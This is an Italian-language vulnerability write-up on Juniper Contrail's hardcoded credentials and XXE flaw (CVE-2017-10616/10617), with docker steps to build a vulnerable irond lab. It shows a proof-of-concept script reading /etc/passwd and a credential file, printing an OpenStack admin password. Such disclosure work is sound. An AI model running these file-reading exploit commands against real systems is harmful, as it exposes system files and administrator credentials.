
Contrail: credenziali hardcoded (CVE-2017-10616) e vulnerabilità di XML External Entity (XXE) (CVE-2017-10617)
Queste due vulnerabilità riguardano Juniper Contrail versione 2.2, 3.0, 3.1 e 3.2:
Il bollettino di sicurezza del fornitore è disponibile su Juniper Security Alert JSA10819 2017-10.
Il servizio vulnerabile nel prodotto Contrail è un demone IFMAP, che è incluso nel pacchetto irond. Per semplificare, continuiamo con irond e lo sfruttamento della vulnerabilità XXE.
Tutti amiamo giocare. Per costruire l'immagine:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
L'immagine si basa sull'immagine maven alpine, con un clone del repository irond.
Un file di test che corrisponde alla configurazione di Contrail viene inserito nell'immagine vulnerabile in /etc/contrail/openstackrc. Questo file contiene la password di amministratore di OpenStack, che è un asset piuttosto sensibile.
Per avviare un servizio IFMAP vulnerabile:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
Il servizio IFMAP è ora disponibile sulla porta 8443 del computer locale.
Una volta configurato un servizio IFMAP vulnerabile, eseguire quanto segue:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
Ciò rivela effettivamente la password di amministratore di OpenStack.